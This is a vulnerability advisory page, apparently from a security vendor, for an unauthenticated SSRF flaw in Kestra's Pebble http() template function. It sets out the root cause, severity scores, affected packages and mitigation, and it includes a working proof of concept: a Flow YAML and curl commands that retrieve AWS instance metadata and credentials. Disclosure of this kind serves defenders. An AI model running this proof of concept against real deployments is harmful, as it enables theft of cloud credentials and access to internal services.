CVE-2026-73247 — core
HIGHCVE-2026-73247 is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in io.kestra:core. A fix is available for io.kestra:core — see the affected versions and patch details below.
Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73247.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-73247 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.kestra:core☕io.kestra:kestra-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details
The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
- No URL validation: User input is passed directly to
URI.create()with no checks for private IPs, internal hosts, or restricted schemes - No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
- No scheme restriction:
file://,gopher://schemes are not blocked - No authentication required:
TenantValidationFilter.javaonly checks tenant == "main" — no authentication - Unconditional registration:
HttpFunctionis registered without any feature flags inExtension.java:180
PoC
Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
Step 1: Create malicious Flow YAML
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
Step 2: Import without authentication
curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
Step 3: Execute the flow
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact
- CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918 (Server-Side Request Forgery)
- Affected: All Kestra OSS versions (default deployment)
- Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.kestra:core | all versions | No fix |
| ☕Maven | io.kestra:kestra-core | all versions | 2.0.0io.kestra:kestra-core:2.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.kestra:core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of io.kestra:core has shipped for CVE-2026-73247 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-73247 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-73247. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-73247 in your dependencies?
O3 Security finds CVE-2026-73247 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.